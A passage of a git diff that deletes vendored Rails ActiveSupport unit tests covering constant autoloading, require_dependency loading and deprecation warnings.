-          flunk 'should have loaded dependencies/raises_exception which raises an exception'
-        rescue Exception => e
-          assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
-        end
-        assert_equal count + 1, $raises_exception_load_count
-
-        assert !ActiveSupport::Dependencies.loaded.include?(filename)
-        assert !ActiveSupport::Dependencies.history.include?(filename)
-      end
-    end
-  end
-
-  def test_warnings_should_be_enabled_on_first_load
-    with_loading 'dependencies' do
-      old_warnings, ActiveSupport::Dependencies.warnings_on_first_load = ActiveSupport::Dependencies.warnings_on_first_load, true
-
-      filename = "check_warnings"
-      expanded = File.expand_path("test/dependencies/#{filename}")
-      $check_warnings_load_count = 0
-
-      assert !ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert !ActiveSupport::Dependencies.history.include?(expanded)
-
-      silence_warnings { require_dependency filename }
-      assert_equal 1, $check_warnings_load_count
-      assert_equal true, $checked_verbose, 'On first load warnings should be enabled.'
-
-      assert ActiveSupport::Dependencies.loaded.include?(expanded)
-      ActiveSupport::Dependencies.clear
-      assert !ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert ActiveSupport::Dependencies.history.include?(expanded)
-
-      silence_warnings { require_dependency filename }
-      assert_equal 2, $check_warnings_load_count
-      assert_equal nil, $checked_verbose, 'After first load warnings should be left alone.'
-
-      assert ActiveSupport::Dependencies.loaded.include?(expanded)
-      ActiveSupport::Dependencies.clear
-      assert !ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert ActiveSupport::Dependencies.history.include?(expanded)
-
-      enable_warnings { require_dependency filename }
-      assert_equal 3, $check_warnings_load_count
-      assert_equal true, $checked_verbose, 'After first load warnings should be left alone.'
-
-      assert ActiveSupport::Dependencies.loaded.include?(expanded)
-    end
-  end
-
-  def test_mutual_dependencies_dont_infinite_loop
-    with_loading 'dependencies' do
-      $mutual_dependencies_count = 0
-      assert_nothing_raised { require_dependency 'mutual_one' }
-      assert_equal 2, $mutual_dependencies_count
-
-      ActiveSupport::Dependencies.clear
-
-      $mutual_dependencies_count = 0
-      assert_nothing_raised { require_dependency 'mutual_two' }
-      assert_equal 2, $mutual_dependencies_count
-    end
-  end
-
-  def test_as_load_path
-    assert_equal '', DependenciesTest.as_load_path
-  end
-
-  def test_module_loading
-    with_autoloading_fixtures do
-      assert_kind_of Module, A
-      assert_kind_of Class, A::B
-      assert_kind_of Class, A::C::D
-      assert_kind_of Class, A::C::E::F
-    end
-  end
-
-  def test_non_existing_const_raises_name_error
-    with_autoloading_fixtures do
-      assert_raise(NameError) { DoesNotExist }
-      assert_raise(NameError) { NoModule::DoesNotExist }
-      assert_raise(NameError) { A::DoesNotExist }
-      assert_raise(NameError) { A::B::DoesNotExist }
-    end
-  end
-
-  def test_directories_manifest_as_modules_unless_const_defined
-    with_autoloading_fixtures do
-      assert_kind_of Module, ModuleFolder
-      Object.__send__ :remove_const, :ModuleFolder
-    end
-  end
-
-  def test_module_with_nested_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ModuleFolder::NestedClass
-      Object.__send__ :remove_const, :ModuleFolder
-    end
-  end
-
-  def test_module_with_nested_inline_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ModuleFolder::InlineClass
-      Object.__send__ :remove_const, :ModuleFolder
-    end
-  end
-
-  def test_directories_may_manifest_as_nested_classes
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder
-      Object.__send__ :remove_const, :ClassFolder
-    end
-  end
-
-  def test_class_with_nested_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder::NestedClass
-      Object.__send__ :remove_const, :ClassFolder
-    end
-  end
-
-  def test_class_with_nested_inline_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder::InlineClass
-      Object.__send__ :remove_const, :ClassFolder
-    end
-  end
-
-  def test_class_with_nested_inline_subclass_of_parent
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder::ClassFolderSubclass
-      assert_kind_of Class, ClassFolder
-      assert_equal 'indeed', ClassFolder::ClassFolderSubclass::ConstantInClassFolder
-      Object.__send__ :remove_const, :ClassFolder
-    end
-  end
-
-  def test_nested_class_can_access_sibling
-    with_autoloading_fixtures do
-      sibling = ModuleFolder::NestedClass.class_eval "NestedSibling"
-      assert defined?(ModuleFolder::NestedSibling)
-      assert_equal ModuleFolder::NestedSibling, sibling
-      Object.__send__ :remove_const, :ModuleFolder
-    end
-  end
-
-  def failing_test_access_thru_and_upwards_fails
-    with_autoloading_fixtures do
-      assert ! defined?(ModuleFolder)
-      assert_raise(NameError) { ModuleFolder::Object }
-      assert_raise(NameError) { ModuleFolder::NestedClass::Object }
-      Object.__send__ :remove_const, :ModuleFolder
-    end
-  end
-
-  def test_non_existing_const_raises_name_error_with_fully_qualified_name
-    with_autoloading_fixtures do
-      begin
-        A::DoesNotExist.nil?
-        flunk "No raise!!"
-      rescue NameError => e
-        assert_equal "uninitialized constant A::DoesNotExist", e.message
-      end
-      begin
-        A::B::DoesNotExist.nil?
-        flunk "No raise!!"
-      rescue NameError => e
-        assert_equal "uninitialized constant A::B::DoesNotExist", e.message
-      end
-    end
-  end
-
-  def test_smart_name_error_strings
-    begin
-      Object.module_eval "ImaginaryObject"
-      flunk "No raise!!"
-    rescue NameError => e
-      assert e.message.include?("uninitialized constant ImaginaryObject")
-    end
-  end
-
-  def test_loadable_constants_for_path_should_handle_empty_autoloads
-    assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path('hello')
-  end
-
-  def test_loadable_constants_for_path_should_handle_relative_paths
-    fake_root = 'dependencies'
-    relative_root = File.dirname(__FILE__) + '/dependencies'
-    ['', '/'].each do |suffix|
-      with_loading fake_root + suffix do
-        assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(relative_root + '/a/b')
-      end
-    end
-  end
-
-  def test_loadable_constants_for_path_should_provide_all_results
-    fake_root = '/usr/apps/backpack'
-    with_loading fake_root, fake_root + '/lib' do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      assert_equal ["Lib::A::B", "A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + '/lib/a/b')
-    end
-  end
-
-  def test_loadable_constants_for_path_should_uniq_results
-    fake_root = '/usr/apps/backpack/lib'
-    with_loading fake_root, fake_root + '/' do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + '/a/b')
-    end
-  end
-
-  def test_loadable_constants_with_load_path_without_trailing_slash
-    path = File.dirname(__FILE__) + '/autoloading_fixtures/class_folder/inline_class.rb'
-    with_loading 'autoloading_fixtures/class/' do
-      assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path(path)
-    end
-  end
-
-  def test_qualified_const_defined
-    assert ActiveSupport::Dependencies.qualified_const_defined?("Object")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::Object")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::Object::Kernel")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::Test::Unit::TestCase")
-  end
-
-  def test_qualified_const_defined_should_not_call_method_missing
-    ModuleWithMissing.missing_count = 0
-    assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A")
-    assert_equal 0, ModuleWithMissing.missing_count
-    assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A::B")
-    assert_equal 0, ModuleWithMissing.missing_count
-  end
-
-  def test_autoloaded?
-    with_autoloading_fixtures do
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
-
-      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
-
-      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?("::ModuleFolder")
-      assert ActiveSupport::Dependencies.autoloaded?(:ModuleFolder)
-
-      # Anonymous modules aren't autoloaded.
-      assert !ActiveSupport::Dependencies.autoloaded?(Module.new)
-
-      nil_name = Module.new
-      def nil_name.name() nil end
-      assert !ActiveSupport::Dependencies.autoloaded?(nil_name)
-
-      Object.class_eval { remove_const :ModuleFolder }
-    end
-  end
-
-  def test_qualified_name_for
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(Object, :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(:Object, :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("Object", :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("::Object", :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("::Kernel", :A)
-
-    assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(:'ActiveSupport::Dependencies', :A)
-    assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(ActiveSupport::Dependencies, :A)
-  end
-
-  def test_file_search
-    with_loading 'dependencies' do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      assert_equal nil, ActiveSupport::Dependencies.search_for_file('service_three')
-      assert_equal nil, ActiveSupport::Dependencies.search_for_file('service_three.rb')
-      assert_equal root + '/service_one.rb', ActiveSupport::Dependencies.search_for_file('service_one')
-      assert_equal root + '/service_one.rb', ActiveSupport::Dependencies.search_for_file('service_one.rb')
-    end
-  end
-
-  def test_file_search_uses_first_in_load_path
-    with_loading 'dependencies', 'autoloading_fixtures' do
-      deps, autoload = ActiveSupport::Dependencies.autoload_paths
-      assert_match %r/dependencies/, deps
-      assert_match %r/autoloading_fixtures/, autoload
-
-      assert_equal deps + '/conflict.rb', ActiveSupport::Dependencies.search_for_file('conflict')
-    end
-    with_loading 'autoloading_fixtures', 'dependencies' do
-      autoload, deps = ActiveSupport::Dependencies.autoload_paths
-      assert_match %r/dependencies/, deps
-      assert_match %r/autoloading_fixtures/, autoload
-
-      assert_equal autoload + '/conflict.rb', ActiveSupport::Dependencies.search_for_file('conflict')
-    end
-
-  end
-
-  def test_custom_const_missing_should_work
-    Object.module_eval <<-end_eval
-      module ModuleWithCustomConstMissing
-        def self.const_missing(name)
-          const_set name, name.to_s.hash
-        end
-
-        module A
-        end
-      end
-    end_eval
-
-    with_autoloading_fixtures do
-      assert_kind_of Integer, ::ModuleWithCustomConstMissing::B
-      assert_kind_of Module, ::ModuleWithCustomConstMissing::A
-      assert_kind_of String, ::ModuleWithCustomConstMissing::A::B
-    end
-  end
-
-  def test_const_missing_should_not_double_load
-    $counting_loaded_times = 0
-    with_autoloading_fixtures do
-      require_dependency '././counting_loader'
-      assert_equal 1, $counting_loaded_times
-      assert_raise(ArgumentError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
-      assert_equal 1, $counting_loaded_times
-    end
-  end
-
-  def test_const_missing_within_anonymous_module
-    $counting_loaded_times = 0
-    m = Module.new
-    m.module_eval "def a() CountingLoader; end"
-    extend m
-    kls = nil
-    with_autoloading_fixtures do
-      kls = nil
-      assert_nothing_raised { kls = a }
-      assert_equal "CountingLoader", kls.name
-      assert_equal 1, $counting_loaded_times
-
-      assert_nothing_raised { kls = a }
-      assert_equal 1, $counting_loaded_times
-    end
-  end
-
-  def test_removal_from_tree_should_be_detected
-    with_loading 'dependencies' do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      c = ServiceOne
-      ActiveSupport::Dependencies.clear
-      assert ! defined?(ServiceOne)
-      begin
-        ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
-        flunk "Expected exception"
-      rescue ArgumentError => e
-        assert_match %r{ServiceOne has been removed from the module tree}i, e.message
-      end
-    end
-  end
-
-  def test_nested_load_error_isnt_rescued
-    with_loading 'dependencies' do
-      assert_raise(MissingSourceFile) do
-        RequiresNonexistent1
-      end
-    end
-  end
-
-  def test_autoload_once_paths_do_not_add_to_autoloaded_constants
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths.dup
-
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-      assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
-
-      1 if ModuleFolder::NestedClass # 1 if to avoid warning
-      assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
-    end
-  ensure
-    Object.class_eval { remove_const :ModuleFolder }
-    ActiveSupport::Dependencies.autoload_once_paths = []
-  end
-
-  def test_application_should_special_case_application_controller
-    with_autoloading_fixtures do
-      require_dependency 'application'
-      assert_equal 10, ApplicationController
-      assert ActiveSupport::Dependencies.autoloaded?(:ApplicationController)
-    end
-  end
-
-  def test_const_missing_on_kernel_should_fallback_to_object
-    with_autoloading_fixtures do
-      kls = Kernel::E
-      assert_equal "E", kls.name
-      assert_equal kls.object_id, Kernel::E.object_id
-    end
-  end
-
-  def test_preexisting_constants_are_not_marked_as_autoloaded
-    with_autoloading_fixtures do
-      require_dependency 'e'
-      assert ActiveSupport::Dependencies.autoloaded?(:E)
-      ActiveSupport::Dependencies.clear
-    end
-
-    Object.const_set :E, Class.new
-    with_autoloading_fixtures do
-      require_dependency 'e'
-      assert ! ActiveSupport::Dependencies.autoloaded?(:E), "E shouldn't be marked autoloaded!"
-      ActiveSupport::Dependencies.clear
-    end
-
-  ensure
-    Object.class_eval { remove_const :E }
-  end
-
-  def test_unloadable
-    with_autoloading_fixtures do
-      Object.const_set :M, Module.new
-      M.unloadable
-
-      ActiveSupport::Dependencies.clear
-      assert ! defined?(M)
-
-      Object.const_set :M, Module.new
-      ActiveSupport::Dependencies.clear
-      assert ! defined?(M), "Dependencies should unload unloadable constants each time"
-    end
-  end
-
-  def test_unloadable_should_fail_with_anonymous_modules
-    with_autoloading_fixtures do
-      m = Module.new
-      assert_raise(ArgumentError) { m.unloadable }
-    end
-  end
-
-  def test_unloadable_should_return_change_flag
-    with_autoloading_fixtures do
-      Object.const_set :M, Module.new
-      assert_equal true, M.unloadable
-      assert_equal false, M.unloadable
-    end
-  end
-
-  def test_new_contants_in_without_constants
-    assert_equal [], (ActiveSupport::Dependencies.new_constants_in(Object) { })
-    assert ActiveSupport::Dependencies.constant_watch_stack.empty?
-  end
-
-  def test_new_constants_in_with_a_single_constant
-    assert_equal ["Hello"], ActiveSupport::Dependencies.new_constants_in(Object) {
-                              Object.const_set :Hello, 10
-                            }.map(&:to_s)
-    assert ActiveSupport::Dependencies.constant_watch_stack.empty?
-  ensure
-    Object.class_eval { remove_const :Hello }
-  end
-
-  def test_new_constants_in_with_nesting
-    outer = ActiveSupport::Dependencies.new_constants_in(Object) do
-      Object.const_set :OuterBefore, 10
-
-      assert_equal ["Inner"], ActiveSupport::Dependencies.new_constants_in(Object) {
-                                Object.const_set :Inner, 20
-                              }.map(&:to_s)
-
-      Object.const_set :OuterAfter, 30
-    end
-
-    assert_equal ["OuterAfter", "OuterBefore"], outer.sort.map(&:to_s)
-    assert ActiveSupport::Dependencies.constant_watch_stack.empty?
-  ensure
-    %w(OuterBefore Inner OuterAfter).each do |name|
-      Object.class_eval { remove_const name if const_defined?(name) }
-    end
-  end
-
-  def test_new_constants_in_module
-    Object.const_set :M, Module.new
-
-    outer = ActiveSupport::Dependencies.new_constants_in(M) do
-      M.const_set :OuterBefore, 10
-
-      inner = ActiveSupport::Dependencies.new_constants_in(M) do
-        M.const_set :Inner, 20
-      end
-      assert_equal ["M::Inner"], inner
-
-      M.const_set :OuterAfter, 30
-    end
-    assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
-    assert ActiveSupport::Dependencies.constant_watch_stack.empty?
-  ensure
-    Object.class_eval { remove_const :M }
-  end
-
-  def test_new_constants_in_module_using_name
-    outer = ActiveSupport::Dependencies.new_constants_in(:M) do
-      Object.const_set :M, Module.new
-      M.const_set :OuterBefore, 10
-
-      inner = ActiveSupport::Dependencies.new_constants_in(:M) do
-        M.const_set :Inner, 20
-      end
-      assert_equal ["M::Inner"], inner
-
-      M.const_set :OuterAfter, 30
-    end
-    assert_equal ["M::OuterAfter", "M::OuterBefore"], outer.sort
-    assert ActiveSupport::Dependencies.constant_watch_stack.empty?
-  ensure
-    Object.class_eval { remove_const :M }
-  end
-
-  def test_new_constants_in_with_inherited_constants
-    m = ActiveSupport::Dependencies.new_constants_in(:Object) do
-      Object.class_eval { include ModuleWithConstant }
-    end
-    assert_equal [], m
-  end
-
-  def test_new_constants_in_with_illegal_module_name_raises_correct_error
-    assert_raise(NameError) do
-      ActiveSupport::Dependencies.new_constants_in("Illegal-Name") {}
-    end
-  end
-
-  def test_file_with_multiple_constants_and_require_dependency
-    with_autoloading_fixtures do
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
-
-      require_dependency 'multiple_constant_file'
-      assert defined?(MultipleConstantFile)
-      assert defined?(SiblingConstant)
-      assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
-      assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
-
-      ActiveSupport::Dependencies.clear
-
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
-    end
-  end
-
-  def test_file_with_multiple_constants_and_auto_loading
-    with_autoloading_fixtures do
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
-
-      assert_equal 10, MultipleConstantFile
-
-      assert defined?(MultipleConstantFile)
-      assert defined?(SiblingConstant)
-      assert ActiveSupport::Dependencies.autoloaded?(:MultipleConstantFile)
-      assert ActiveSupport::Dependencies.autoloaded?(:SiblingConstant)
-
-      ActiveSupport::Dependencies.clear
-
-      assert ! defined?(MultipleConstantFile)
-      assert ! defined?(SiblingConstant)
-    end
-  end
-
-  def test_nested_file_with_multiple_constants_and_require_dependency
-    with_autoloading_fixtures do
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
-
-      require_dependency 'class_folder/nested_class'
-
-      assert defined?(ClassFolder::NestedClass)
-      assert defined?(ClassFolder::SiblingClass)
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
-
-      ActiveSupport::Dependencies.clear
-
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
-    end
-  end
-
-  def test_nested_file_with_multiple_constants_and_auto_loading
-    with_autoloading_fixtures do
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
-
-      assert_kind_of Class, ClassFolder::NestedClass
-
-      assert defined?(ClassFolder::NestedClass)
-      assert defined?(ClassFolder::SiblingClass)
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::NestedClass")
-      assert ActiveSupport::Dependencies.autoloaded?("ClassFolder::SiblingClass")
-
-      ActiveSupport::Dependencies.clear
-
-      assert ! defined?(ClassFolder::NestedClass)
-      assert ! defined?(ClassFolder::SiblingClass)
-    end
-  end
-
-  def test_autoload_doesnt_shadow_no_method_error_with_relative_constant
-    with_autoloading_fixtures do
-      assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
-      2.times do
-        assert_raise(NoMethodError) { RaisesNoMethodError }
-        assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
-      end
-    end
-
-  ensure
-    Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
-  end
-
-  def test_autoload_doesnt_shadow_no_method_error_with_absolute_constant
-    with_autoloading_fixtures do
-      assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it hasn't been referenced yet!"
-      2.times do
-        assert_raise(NoMethodError) { ::RaisesNoMethodError }
-        assert !defined?(::RaisesNoMethodError), "::RaisesNoMethodError is defined but it should have failed!"
-      end
-    end
-
-  ensure
-    Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
-  end
-
-  def test_autoload_doesnt_shadow_error_when_mechanism_not_set_to_load
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.mechanism = :require
-      2.times do
-        assert_raise(NameError) { assert_equal 123, ::RaisesNameError::FooBarBaz }
-      end
-    end
-  end
-
-  def test_autoload_doesnt_shadow_name_error
-    with_autoloading_fixtures do
-      Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
-      2.times do
-        begin
-          ::RaisesNameError::FooBarBaz.object_id
-          flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
-        rescue NameError => e
-          assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
-        end
-        assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
-      end
-
-      assert !defined?(::RaisesNameError)
-      2.times do
-        assert_raise(NameError) { ::RaisesNameError }
-        assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
-      end
-    end
-
-  ensure
-    Object.class_eval { remove_const :RaisesNoMethodError if const_defined?(:RaisesNoMethodError) }
-  end
-
-  def test_remove_constant_handles_double_colon_at_start
-    Object.const_set 'DeleteMe', Module.new
-    DeleteMe.const_set 'OrMe', Module.new
-    ActiveSupport::Dependencies.remove_constant "::DeleteMe::OrMe"
-    assert ! defined?(DeleteMe::OrMe)
-    assert defined?(DeleteMe)
-    ActiveSupport::Dependencies.remove_constant "::DeleteMe"
-    assert ! defined?(DeleteMe)
-  end
-
-  def test_load_once_constants_should_not_be_unloaded
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths
-      ::A.to_s
-      assert defined?(A)
-      ActiveSupport::Dependencies.clear
-      assert defined?(A)
-    end
-  ensure
-    ActiveSupport::Dependencies.autoload_once_paths = []
-    Object.class_eval { remove_const :A if const_defined?(:A) }
-  end
-
-  def test_autoload_once_paths_should_behave_when_recursively_loading
-    with_loading 'dependencies', 'autoloading_fixtures' do
-      ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
-      assert !defined?(CrossSiteDependency)
-      assert_nothing_raised { CrossSiteDepender.nil? }
-      assert defined?(CrossSiteDependency)
-      assert !ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
-        "CrossSiteDependency shouldn't be marked as autoloaded!"
-      ActiveSupport::Dependencies.clear
-      assert defined?(CrossSiteDependency),
-        "CrossSiteDependency shouldn't have been unloaded!"
-    end
-  ensure
-    ActiveSupport::Dependencies.autoload_once_paths = []
-  end
-
-  def test_hook_called_multiple_times
-    assert_nothing_raised { ActiveSupport::Dependencies.hook! }
-  end
-
-  def test_unhook
-    ActiveSupport::Dependencies.unhook!
-    assert !Module.new.respond_to?(:const_missing_without_dependencies)
-    assert !Module.new.respond_to?(:load_without_new_constant_marking)
-  ensure
-    ActiveSupport::Dependencies.hook!
-  end
-
-  def test_paths_deprecations
-    assert_deprecated(/use autoload_paths(?!=)/) { ActiveSupport::Dependencies.load_paths }
-    assert_deprecated(/use autoload_paths=/) { ActiveSupport::Dependencies.load_paths = [] }
-    assert_deprecated(/use autoload_once_paths(?!=)/) { ActiveSupport::Dependencies.load_once_paths }
-    assert_deprecated(/use autoload_once_paths=/) { ActiveSupport::Dependencies.load_once_paths = [] }
-  end
-end
diff --git a/vendor/rails/activesupport/test/deprecation/proxy_wrappers_test.rb b/vendor/rails/activesupport/test/deprecation/proxy_wrappers_test.rb
deleted file mode 100644
index c507eff3..00000000
--- a/vendor/rails/activesupport/test/deprecation/proxy_wrappers_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'abstract_unit'
-require 'active_support/deprecation'
-
-class ProxyWrappersTest < Test::Unit::TestCase
-  Waffles     = false
-  NewWaffles  = :hamburgers
-  
-  def test_deprecated_object_proxy_doesnt_wrap_falsy_objects
-    proxy = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(nil, "message")
-    assert !proxy
-  end
-  
-  def test_deprecated_instance_variable_proxy_doesnt_wrap_falsy_objects
-    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(nil, :waffles)
-    assert !proxy
-  end
-  
-  def test_deprecated_constant_proxy_doesnt_wrap_falsy_objects
-    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(Waffles, NewWaffles)
-    assert !proxy
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/deprecation_test.rb b/vendor/rails/activesupport/test/deprecation_test.rb
deleted file mode 100644
index a3ae39d0..00000000
--- a/vendor/rails/activesupport/test/deprecation_test.rb
+++ /dev/null
@@ -1,167 +0,0 @@
-require 'abstract_unit'
-
-class Deprecatee
-  def initialize
-    @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request)
-    @_request = 'there we go'
-  end
-  def request; @_request end
-  def old_request; @request end
-
-  def partially(foo = nil)
-    ActiveSupport::Deprecation.warn('calling with foo=nil is out', caller) if foo.nil?
-  end
-
-  def not() 2 end
-  def none() 1 end
-  def one(a) a end
-  def multi(a,b,c) [a,b,c] end
-  deprecate :none, :one, :multi
-
-  def a; end
-  def b; end
-  def c; end
-  def d; end
-  def e; end
-  deprecate :a, :b, :c => :e, :d => "you now need to do something extra for this one"
-
-  def f=(v); end
-  deprecate :f=
-
-  module B
-    C = 1
-  end
-  A = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('Deprecatee::A', 'Deprecatee::B::C')
-end
-
-
-class DeprecationTest < ActiveSupport::TestCase
-  def setup
-    # Track the last warning.
-    @old_behavior = ActiveSupport::Deprecation.behavior
-    @last_message = nil
-    ActiveSupport::Deprecation.behavior = Proc.new { |message| @last_message = message }
-
-    @dtc = Deprecatee.new
-  end
-
-  def teardown
-    ActiveSupport::Deprecation.behavior = @old_behavior
-  end
-
-  def test_inline_deprecation_warning
-    assert_deprecated(/foo=nil/) do
-      @dtc.partially
-    end
-  end
-
-  def test_undeprecated
-    assert_not_deprecated do
-      assert_equal 2, @dtc.not
-    end
-  end
-
-  def test_deprecate_class_method
-    assert_deprecated(/none is deprecated.*test_deprecate_class_method at/) do
-      assert_equal 1, @dtc.none
-    end
-
-    assert_deprecated(/one is deprecated/) do
-      assert_equal 1, @dtc.one(1)
-    end
-
-    assert_deprecated(/multi is deprecated/) do
-      assert_equal [1,2,3], @dtc.multi(1,2,3)
-    end
-  end
-
-  def test_nil_behavior_is_ignored
-    ActiveSupport::Deprecation.behavior = nil
-    assert_deprecated(/foo=nil/) { @dtc.partially }
-  end
-
-  def test_deprecated_instance_variable_proxy
-    assert_not_deprecated { @dtc.request.size }
-
-    assert_deprecated('@request.size') { assert_equal @dtc.request.size, @dtc.old_request.size }
-    assert_deprecated('@request.to_s') { assert_equal @dtc.request.to_s, @dtc.old_request.to_s }
-  end
-
-  def test_deprecated_instance_variable_proxy_shouldnt_warn_on_inspect
-    assert_not_deprecated { assert_equal @dtc.request.inspect, @dtc.old_request.inspect }
-  end
-
-  def test_deprecated_constant_proxy
-    assert_not_deprecated { Deprecatee::B::C }
-    assert_deprecated('Deprecatee::A') { assert_equal Deprecatee::B::C, Deprecatee::A }
-  end
-
-  def test_assert_deprecation_without_match
-    assert_deprecated do
-      @dtc.partially
-    end
-  end
-
-  def test_assert_deprecated_matches_any_warning
-    assert_deprecated 'abc' do
-      ActiveSupport::Deprecation.warn 'abc'
-      ActiveSupport::Deprecation.warn 'def'
-    end
-  rescue Test::Unit::AssertionFailedError
-    flunk 'assert_deprecated should match any warning in block, not just the last one'
-  end
-
-  def test_assert_not_deprecated_returns_result_of_block
-    assert_equal 123, assert_not_deprecated { 123 }
-  end
-
-  def test_assert_deprecated_returns_result_of_block
-    result = assert_deprecated('abc') do
-      ActiveSupport::Deprecation.warn 'abc'
-      123
-    end
-    assert_equal 123, result
-  end
-
-  def test_silence
-    ActiveSupport::Deprecation.silence do
-      assert_not_deprecated { @dtc.partially }
-    end
-
-    ActiveSupport::Deprecation.silenced = true
-    assert_not_deprecated { @dtc.partially }
-    ActiveSupport::Deprecation.silenced = false
-  end
-
-  def test_deprecation_without_explanation
-    assert_deprecated { @dtc.a }
-    assert_deprecated { @dtc.b }
-    assert_deprecated { @dtc.f = :foo }
-  end
-
-  def test_deprecation_with_alternate_method
-    assert_deprecated(/use e instead/) { @dtc.c }
-  end
-
-  def test_deprecation_with_explicit_message
-    assert_deprecated(/you now need to do something extra for this one/) { @dtc.d }
-  end
-
-  unless defined?(::MiniTest)
-    def test_assertion_failed_error_doesnt_spout_deprecation_warnings
-      error_class = Class.new(StandardError) do
-        def message
-          ActiveSupport::Deprecation.warn 'warning in error message'
-          super
-        end
-      end
-
-      raise error_class.new('hmm')
-
-    rescue => e
-      error = Test::Unit::Error.new('testing ur doodz', e)
-      assert_not_deprecated { error.message }
-      assert_nil @last_message
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/empty_bool.rb b/vendor/rails/activesupport/test/empty_bool.rb
deleted file mode 100644
index ad71a9ba..00000000
--- a/vendor/rails/activesupport/test/empty_bool.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class EmptyTrue
-  def empty?() true; end
-end
-
-class EmptyFalse
-  def empty?() false; end
-end
-
diff --git a/vendor/rails/activesupport/test/flush_cache_on_private_memoization_test.rb b/vendor/rails/activesupport/test/flush_cache_on_private_memoization_test.rb
deleted file mode 100644
index 1cd313ec..00000000
